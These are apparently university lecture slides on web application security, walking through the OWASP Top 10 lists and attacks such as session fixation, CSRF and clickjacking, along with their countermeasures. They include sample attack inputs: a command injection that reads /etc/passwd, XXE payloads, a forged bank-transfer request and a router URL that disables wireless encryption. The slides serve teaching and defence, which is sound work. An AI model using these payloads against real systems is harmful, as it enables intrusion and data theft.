  – Cookie Option used to inform the browser to not allow scripting languages (JavaScript, VBScript, etc.) access the document.cookie object (traditional XSS attack)

  – Syntax of an httpOnly cookie:
    
    Set-Cookie: name=value; httpOnly

  – Using JavaScript, we can test the effectiveness of the feature. We activate httpOnly and see if document.cookie works
Despite the Efforts

![Graph showing the trend of SQL Injection CVEs and XSS CVEs from 2000 to 2009. The graph indicates a sharp increase in SQL Injection CVEs starting in 2005, peaking in 2006, and then decreasing. The percentage of XSS CVEs remains relatively stable with a slight increase in 2008.]
• The Open Web Application Security Project (www.owasp.org)

  - OWASP is dedicated to help organizations understand and improve the security of their web applications and web services
  - The Top Ten vulnerability list was created to point corporations and government agencies to the most serious of web-related vulnerabilities

Top 10 in 2010

A1: Injection
A2: Cross-Site Scripting (XSS)
A3: Broken Authentication and Session Management
A4: Insecure Direct Object References
A5: Cross Site Request Forgery (CSRF)
A6: Security Misconfiguration
A7: Failure to Restrict URL Access
A8: Insecure Cryptographic Storage
A9: Insufficient Transport Layer Protection
A10: Unvalidated Redirects and Forwards
A1-Injection
A2-Broken Authentication and Session Management (+1)
A3-Cross-Site Scripting (XSS) (-1)
A4-Insecure Direct Object References
A5-Security Misconfiguration (+1)
A6-Sensitive Data Exposure (+2, name changed)
A7-Missing Function Level Access Control (name changed)
A8-Cross-Site Request Forgery (CSRF) (-3)
A9-Using Components with Known Vulnerabilities (?)
A10-Unvalidated Redirects and Forwards
## Evolution 2010->2013

<table>
<thead>
<tr>
<th>OWASP Top 10 - 2010 (old)</th>
<th>OWASP Top 10 - 2013 (current)</th>
</tr>
</thead>
<tbody>
<tr>
<td>2010-A2 - Cross Site Scripting (XSS)</td>
<td>2013-A2 - Broken Authentication and Session Management</td>
</tr>
<tr>
<td>2010-A3 - Broken Authentication and Session Management</td>
<td>2013-A3 - Cross Site Scripting (XSS)</td>
</tr>
<tr>
<td>2010-A4 - Insecure Direct Object References</td>
<td>2013-A4 - Insecure Direct Object References</td>
</tr>
<tr>
<td>2010-A5 - Cross Site Request Forgery (CSRF)</td>
<td>2013-A5 - Security Misconfiguration</td>
</tr>
<tr>
<td>2010-A6 - Security Misconfiguration</td>
<td>2013-A6 - Sensitive Data Exposure</td>
</tr>
<tr>
<td>2010-A7 - Insecure Cryptographic Storage</td>
<td>2013-A7 - Missing Function Level Access Control</td>
</tr>
<tr>
<td>2010-A8 - Failure to Restrict URL Access</td>
<td>2013-A8 - Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>2010-A9 - Insufficient Transport Layer Protection</td>
<td>2013-A9 - Using Known Vulnerable Components (NEW)</td>
</tr>
<tr>
<td>2010-A10 - Unvalidated Redirects and Forwards (NEW)</td>
<td>2013-A10 - Unvalidated Redirects and Forwards</td>
</tr>
</tbody>
</table>

### 3 Primary Changes:
- Merged: 2010-A7 and 2010-A9 -> 2013-A6
- Added New 2013-A9: Using Known Vulnerable Components
- 2010-A8 broadened to 2013-A7
## OWASP 2017

<table>
<thead>
<tr>
<th>OWASP Top 10 - 2013</th>
<th>OWASP Top 10 - 2017</th>
</tr>
</thead>
<tbody>
<tr>
<td>A2 – Broken Authentication and Session Management</td>
<td>A2:2017-Broken Authentication</td>
</tr>
<tr>
<td>A3 – Cross-Site Scripting (XSS)</td>
<td>A3:2017-Sensitive Data Exposure</td>
</tr>
<tr>
<td>&quot;A4 – Insecure Direct Object References [Merged+A7]&quot;</td>
<td>U A4:2017-XML External Entities (XXE) [NEW]</td>
</tr>
<tr>
<td>A6 – Sensitive Data Exposure</td>
<td>A6:2017-Security Misconfiguration</td>
</tr>
<tr>
<td>A8 – Cross-Site Request Forgery (CSRF)</td>
<td>X A8:2017-Insecure Deserialization [NEW, Community]</td>
</tr>
<tr>
<td>A9 – Using Components with Known Vulnerabilities</td>
<td>A9:2017-Using Components with Known Vulnerabilities</td>
</tr>
</tbody>
</table>
• Tricking an application into including unintended commands in the data sent to an interpreter
• We already discussed SQL injection
  – Other injections are possible: Commands, LDAP, Xpath

• OWASP Recommendations:
  – Avoid the interpreter entirely
  – Use an interface that supports bind variables (e.g., prepared statements, or stored procedures),
  – Encode all user input before passing it to the interpreter
  – Always perform ‘white list’ input validation on all user supplied input

*http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
Command Injection

...$keyword = $query->param("keyword");

#Call the ls command in the shell using back ticks
$matches = `cat file | grep $keyword`; print "
<html><body>
$matches
</body></html>";
Command Injection

...$keyword = $query->param("""keyword""");

#Call the ls command in the shell using back ticks
$matches = `cat file | grep $keyword`;

print "
<html><body>
$matches
</body></html>";

If the user enters a “x | cat /etc/passwd” as keyword, she can gain access to the content of the passwd file as well! The shell command in the script becomes: `cat file | grep x | cat /etc/passwd`
OWASP 2 - Broken Authentication

• **HTTP is a stateless protocol:**
  – it does not “remember” previous requests
  – web applications must create and manage sessions themselves

• **Session data must be stored at the server side,** associated with a unique **Session ID**
  – after session creation, the client is informed about the session ID
  – the client has to attach the session ID to **each** request
Session Management and Authentication

• Authentication is strongly connected to session management
  – The authentication state is stored as session data

• This makes the session ID a popular target for attackers:
  – stealing the ID of an active, authenticated session allows impersonation of the victim

• Protect the session ID!
Three possibilities for transporting session IDs

1. Encoding it into the URL as GET parameter. It has the following drawbacks
   - stored in referrer logs of other sites
   - caching; visible even when using encrypted connections
   - visible in browser location bar (internet cafes...)

2. Hidden form fields: only works for POST requests

3. Cookies: preferable but could be rejected by the client
Cookies

• A token that is sent by the server and stored on client machine
  – “name=value”

• Single domain attribute
  – cookies are only sent back to servers whose domain attribute matches
  – Policy slightly different from the same origin policy (!!)
    • By default the protocol is not part of the origin
Cookies (IETF RFC 6265)

- **Persistent cookies**
  - Outlast user session
  - The expiration can be set by the server
- **Non-persistent cookies**
  - are only stored in memory during browser session
  - good for sessions
- **Secure cookies**
  - cookies that are only sent over encrypted (SSL) connections
- **HttpOnly cookies**
  - Only sent in http and https request, not accessible to client-side scripts
Cookies

- Only encrypting the cookie over insecure connection is useless
  - attackers can simply replay a stolen, encrypted cookie
- Cookies currently used to enrol devices/browsers
- Cookies that include the IP address
  - makes cookie stealing harder
  - breaks session if IP address of client changes during that session
Session Attacks

- **Session Hijacking attacks:**
  - **Interception:**
    - intercept request or response and extract session ID
    - If you have windows or mac, try out Firesheep
  - **Prediction:**
    - predict (or make a few good guesses about) the session ID
  - **Brute Force:**
    - make many guesses about the session ID

- **Session Fixation:**
  - Make the victim use a certain session ID
Session Attacks

• Preventing Interception:
  – use SSL for each request that transports a session ID
  – not only for login!

  – Example: firesheep plugin!

• Prediction:
  – possible if session ID is not a random number...
Suppose you are ordering something online. You are registered as user *john*. In the URL, you notice:

- www.somecompany.com/order?s=john05011978
- What is “s”? It is probably the session ID...
- In this case, it is possible to deduce how the session ID is made up...

Session ID is made up of user name and (probably) the user’s birthday

- Hence, by knowing a user ID and a birthday (e.g., a friend of yours), you could hijack someone’s session ID and order something
Harden Session Identifiers

- Although by definition unique values, session identifiers must be more than just unique to be secure
  - They must be resistant to brute force attacks where random, sequential, or algorithm-based forged identifiers are submitted
  - By hashing the session ID and encrypting the hash with a secret key, you create a random session token and a signature (!)
  - Session identifiers that are truly random (hardware generator) for high-security applications
Another Session Attack

• Additional attacks can be made possible by flawed credential management functions
  – e.g., weak “remember my password“ question

• Rule of thumb:
  – use existing solutions for authentication and session management
  – never underestimate the complexity of authentication and session management...
Session Fixation

• A technique to get around the problem of predicting (or intercepting) session IDs
  – Attacks what are called “permissive sessions” that let users decide their own session ID

• The attacker prepares a link like:
  <a href="http://target.com?PHPSESSID=abc123">

• If the victim clicks on it, logs in, and starts interacting with the vulnerable site using a SPECIFIED session id.
  – The attacker does not have to guess or sniff anything, he already knows the session id in advance
Session Fixation

• If the server only accepts session ID that it generated itself, the attacker can still get them in advance
  – The attacker logs in to http://vulnerable.com
  – The website sets a cookie
    Cookie: SID=0D6441FEA4496C2
  – The attacker sends to the victim a link containing the valid session id:
    http://vulnerable/?SID=0D6441FEA4496C2

• Countermeasures
  – Never accept session ID from get or post parameters in php.ini → session.use_only_cookies = 1
  – Always change the session ID when the user logs in
  – Expires session ID and verify the referrer
• Merge of “Insecure cryptographic storage” and “Insufficient Transport Layer Protection”

• Most web applications have a need to store sensitive information, either in a database or on a file system somewhere.
  – passwords, credit card numbers, account records, or proprietary information

• Frequently, encryption techniques are used to protect this sensitive information
  – Developers still frequently make mistakes while integrating it into a web application

• Mistakes: Failure to encrypt critical data, Insecure storage of keys, certificates, and passwords, Poor choice of algorithm, Attempting to invent a new encryption algorithm
Example: Looking-Glass

- Routers often have a web interface to debug network problems (ping, traceroute...)
- Many such web interfaces are old and poorly maintained

- To perform the commands they need access to the router,
  - Typically credentials in configuration files or in the document root
  - Often not protected
  - Could give easy access to core routers
Insufficient Transport Layer Protection

- Transmitting sensitive data insecurely
  - In the communication with the user
  - In the communication with third party services
  - In the communication with backend servers

- Non-SSL requests to sensitive pages should be redirected to the SSL page

- Set the ‘secure’ flag on all sensitive cookies

- Support only strong secure protocol
  - TLS is good
  - In no situation should SSL 2.0 be enabled on the server.
    - This protocol has multiple known weaknesses and does not provide effective transport layer protection.
OWASP 4
XML External Entities (XXE)

- Older or poorly configured XML processors evaluate external entity references within XML documents
- External entities can be used to disclose
  - internal files using the file URI handler
  - internal file shares
  - internal port scanning,
  - Or perform remote code execution, and denial of service attacks
Example Attack Scenarios

Numerous public XXE issues have been discovered, including attacking embedded devices. XXE occurs in a lot of unexpected places, including deeply nested dependencies. The easiest way is to upload a malicious XML file, if accepted:

**Scenario #1:** The attacker attempts to extract data from the server:

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]
<foo>&xxe;</foo>
```

**Scenario #2:** An attacker probes the server's private network by changing the above ENTITY line to:

```xml
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]
```

**Scenario #3:** An attacker attempts a denial-of-service attack by including a potentially endless file:

```xml
<!ENTITY xxe SYSTEM "file:///dev/random" >]
```
### OWASP 4
### XML External Entities (XXE)

<table>
<thead>
<tr>
<th>Threat Agents</th>
<th>Attack Vectors</th>
<th>Security Weakness</th>
<th>Impacts</th>
</tr>
</thead>
<tbody>
<tr>
<td>App. Specific</td>
<td>Exploitability: 2</td>
<td>Prevalence: 2</td>
<td>Detectability: 3</td>
</tr>
</tbody>
</table>

Attackers can exploit vulnerable XML processors if they can upload XML or include hostile content in an XML document, exploiting vulnerable code, dependencies or integrations.

By default, many older XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. SAST tools can discover this issue by inspecting dependencies and configuration. DAST tools require additional manual steps to detect and exploit this issue. Manual testers need to be trained in how to test for XXE, as it not commonly tested as of 2017.

These flaws can be used to extract data, execute a remote request from the server, scan internal systems, perform a denial-of-service attack, as well as execute other attacks. The business impact depends on the protection needs of all affected application and data.

- **Prevention:**
  - avoid XML (json…)
  - Deactivate external ressources

---

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
OWASP 5 : Broken Access Control

- Merge of former #4 and #7
  - Insecure Direct Object References
  - Missing Function level Access Control
- This is about enforcing proper “Authorization” and access to protected data
  - “Missing Function level Access Control” was called before “Failure to Restrict URL Access”
- Presentation layer access control
  - Only listing the ‘authorized’ objects for the current user
  - Hiding the object references in hidden fields
  - … and then not enforcing these restrictions on the server side
- In one case the user can “guess” the URL of an object of another user. In the second, he may “guess” the URL of an admin page in which they fail to enforce the authentication
- E.g. Facebook hack:
File Hosting Services

- Cloud-storage for the masses
  - Share files with other users
  - Overcoming email limitations
  - Possibility of 1-1 sharing

- Alice decides to share some digital content (file) through a FHS
- FHS received the file, stores it on its Cloud and generates an identifier which it:
  - binds with the uploaded file
  - returns to the user in a URI form

- URI is shared depending on the nature of the uploaded file
The file ID is used to enforce access-control in a security-through-obscurity way (ID == access to file)

34/88 FHSs tested were generating sequential identifiers (numeric, or alphanumerical)

http://vulnerable.com/9996
http://vulnerable.com/9997

14/88 FHSs generated random identifiers, but too short to be secure

– Possible to discover one file every ~1K attempts
  (1 attempt = 1 web request)
Mitigations

• Use sparse object references that are random and hard to bruteforce
• Eliminate the direct object reference and replace them with a temporary mapping value
• Always check user privileges before showing any content, never rely on presentation layer access control
There are a wide variety of server configuration problems that can plague the security of a site:

- Unpatched security flaws in the server software
- Server software flaws, misconfigurations that permit directory listing and directory traversal attacks
- Unnecessary default, backup, or sample files
- Improper file and directory permissions
• Unnecessary services enabled including content management and remote administration

• Default accounts with their default passwords

• Administrative or debugging functions that are enabled or accessible

• Overly informative error messages

• Misconfigured or self-signed SSL certificates and encryption settings
• Unsanitized data from the attacker is included in the output and sent to another user’s browser
• Virtually every web application has this problem

• Recommendations
  – Don’t include user supplied input in the output page
  – Output encode all user supplied input
  – Perform ‘white list’ input validation on all user input to be included in page

*http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
A8 Insecure Deserialization

• Serialization may be used in applications for:
  – Remote/inter process communication (RPC/IPC)
  – Wire protocols, web services, message brokers
  – Caching/Persistence
  – Databases, cache servers, file systems
  – HTTP cookies, HTML form parameters, API authentication tokens

• Not only a web problem, some android vulnerabilities
Equifax Says Cyberattack May Have Affected 143 Million Customers

By TARA SIEGEL BERNARD, TIFFANY HSU, NICOLE PERLROTH and RON LIEBER  SEPT. 7, 2017

Hackers stole credit card numbers for 209,000 consumers, Equifax said. Katherine Taylor for The New York Times

Yahoo Says Hackers Stole Data on 500 Million Users in 2014  SEPT. 22, 2016

Yahoo Says It Was Hacked. Here’s How to Protect Yourself.  SEPT. 22, 2016

Ex New Yorker  3 minutes ago
It is unbelievable that this has happened again. It is shocking how arrogant Equifax’s executives have reacted to this situation. Surely...
A8 Insecure Deserialization

Kevin Beaumont @GossiTheDog 10h
Equifax's infrastructure is a weird mix of IBM WebSphere, Apache Struts, Java.. it's like stepping back in time a decade.

notdan @notdan
Cmon Equifax. You have ALL OF OUR INFO.

p4sswd @p4sswd

Replying to @GossiTheDog
CVE-2017-9805 reported July 17, Equifax breach discovered July 29. Wonder how much contemporaneous discovery there was of Struts vuln

5:57 PM - 7 Sep 2017

2 Retweets 2 Likes
A8 Insecure Deserialization

• CVE-2017-9805:
  – Java struts uses XML for REST requests
  – XML can be serialized and needs to be de-serialized on reception
  – XStream library is used for that, but also allows to serialize Java objects

By design, there are few limits to the type of objects XStream can handle. This flexibility comes at a price. [...] The XML generated by XStream includes all information required to build Java objects of almost any type. This introduces a potential security problem.

[XStream XML data] can be manipulated by injecting the XML representation [of Java objects that aren’t supposed to be there]. An attacker could take advantage of this to execute arbitrary code or shell commands in the context of the server running the XStream process.

https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement
• Web applications are often packaging many scripts from various places
  – Rarely managed through OS package management and automatic updates
  – Sometimes remotely accessed
  – Often just copied
• 80 % of applications from libraries
• How to do this properly?
  – Some package management for web apps, but not largely used yet
How do you know when a component is updated?

- 74% by searching the web
- 66% keeping up with project sites
- 40% from colleagues
- 30% word of mouth
- 20% no good way to find out
How do you know your website has been compromised?

How do you know what was compromised and how this happened?

How many systems are compromised around but we don’t know?

In 2016, identifying a breach took an average of 191 days [1]

[1] Ponemon Institute’s 2017 Cost of Data Breach Study: Global Overview
Beyond the OWASP top 10
Gone! Cross Site Request Forgery (CSRF)

- Disappeared from #8
- CSRF is an attack where the victim’s browser is tricked into issuing a command to a vulnerable web application
  - Vulnerability is caused by browsers automatically including user authentication data (session ID, IP address, Windows domain credentials, …) with each request
  - Even for requests caused by a form, script, or image on another site
- The application receives command in the form of one or more URLs or form submission.
CSRF Example

User logs into bank.com

Set-Cookie: SESSIONID=73787638718723823764736873

User accesses malicious page


GET /transfer.php?amount=10000&dest=617616615272
Cookie: SESSIONID=73787638718723823764736873
CSRF Example

User logs into bank.com

Set-Cookie: SESSIONID=73787638718723823764736873

User accesses malicious page

Get /transfer.php?amount=10000&dest=617616615272
Cookie: SESSIONID=73787638718723823764736873

Real Examples

- Many high profile sites have been vulnerable in the past
  - Gmail
    http://betterexplained.com/articles/gmail-contacts-flaw-overview-and-suggestions/
    allowed to steal user's contact list
  - Netflix
    http://jeremiahgrossman.blogspot.com/2006/10/more-on-netflixs-csrfs-advisory.html
    allowed to change name and address, and order movies
  - Skype
    http://www.securescience.net/xss/skype/skype.html
    allowed to "steal" the user's skype number (impersonate user, receive calls, use his credit)
CSRF Against Home Routers

- Home DSL/Cable routers have often been vulnerable
- Typically have weak authentication
  - no password
  - username: admin, password: admin
  - same password for all routers from a provider
  - most users don't change it
- Protected by firewall
  - can only log in from inside home network
- Can use CSRF to send requests to the router from victim's PC inside the network
CSRF Against Home Routers

• What can the attacker do?

• Add names to the DNS (216.163.137.3 www.prueba.hkm):

• Disable Wireless Authentication
  - http://192.168.1.254/xslt?PAGE=C05_POST&THISPAGE=C05&NEXTPAGE=C05_POST&NAME=encrypt_enabled&VALUE=0

• Disable firewall, set new password,...
CSRF Mitigations

• Random "challenge" tokens that are associated with the user's current session.
  – These tokens are inserted within the HTML forms (hidden fields) and links associated with sensitive server-side operations
  – When the user wishes to invoke these sensitive operations, the HTTP request should include this challenge token

• Challenge-Response is another defense option for CSRF. Examples:
  – CAPTCHA
  – Re-Authentication (password)
  – Text messages (MTAN, Visa...)
DoS

• Denial of Service

• Network level
  – Was discussed before

• Bug in the application logic that allow an attacker make the site consume a lot of ressources
Logic Flaws

• Come in many forms and are specific to the intended functionality and security policy of an application
  – Received little attention
  – Are known to be hard to identify in automated analysis
  – Not much public information

• Bug in the application logic allow an attacker to violate the intended application workflow
  – Example: by adding and removing items from a shopping cart you may end up with the total amount to pay that does not reflect the number of items in the cart

• It can be the next frontier of web security
ClickJacking

- First proposed in Sept. 2008

- Objective: Construct a malicious web-page (benign site with a XSS vulnerability) to trick users into performing unintended clicks that are advantageous for the attacker

- Consequences: propagate web worms, steal confidential information (passwords, cookies), send spam, delete personal e-mails, etc..
  - Already used on twitter and facebook

- Attracted a broad attention by the security industry and community
ClickJacking

- Abuse some HTML/CSS features (transparent IFRAMEs)
  `<IFRAME style={zindex:2; opacity:0; filter:alpha(opacity=0); } scrolling="no" src="http://www.twitter.com/?status="`
Browser History Stealing

• Browsers display visited links differently from non-visited links
  – very helpful to users (which google search results have I already visited?)
  – This can be used to find out if the user has visited a site

• Has user visited example.com?
  – attacker prepares webpage at attacker.com containing a link to example.com: `<a href="http://example.com/">`
  – attacker checks how the link is displayed
Browser History Stealing

• How can the attacker check the link color?
  – the link is displayed in the web page attacker.com
  – Same origin policy allows attacker to access the content
  – use javascript to check color or font size

• Attack can also be performed without javascript using CSS (Cascading Style Sheets)
  – define the style for visited links (a:visited)
  – a style can include a background image
    background: url(log_visited.php?example.com)
  – use div+span to associate different "background" urls to each link

• Examples:
  – http://ha.ckers.org/weird/CSS-history.cgi
  – http://lcamtuf.coredump.cx/cachetime/
Browser History Stealing

- Browser history can leak user's private information
  - not just sites you would like others not to know you visited!

- De-anonymizing users of social networks using browser history stealing
  - Browse public facebook/xing/linkedin groups and extract the name of the participants
  - Checks for URLs specific to those groups in browser history
  - The groups a user is part of, are often enough to uniquely identify him
That's all Folks!

• **Next Lectures:**
  – Embedded systems and wireless security
  – Intro to malware

• **Challenges:**
  – Deadline few weeks after the exam

• **Exam:**
  – Content from the lectures
  – There should be 1 or 2 examples at the library
  – 1 page manual notes
Gone! Unvalidated Redirects and Forwards

• Web application redirects are very common and frequently include user supplied parameters in the destination URL
  – Good for phishing too

• Forwards (aka Transfer in .NET) are common too
  – They internally send the request to a new page in the same application
  – Sometimes parameters define the target page
  – If not validated, attacker may be able to use unvalidated forward to bypass authentication or authorization checks
Gone! - Unvalidated Redirects and Forwards

- **Countermeasures:**
  - Avoid using redirects and forwards as much as you can
  - If used, don’t involve user parameters in defining the target URL
  - If you ‘must’ involve user parameters, then either
    a) Validate each parameter to ensure its valid and authorized for the current user, or
    b) (preferred) – Use server side mapping to translate choice provided to user with actual target page

- **Defense in depth:** For redirects, validate the target URL after it is calculated to make sure it goes to an authorized external site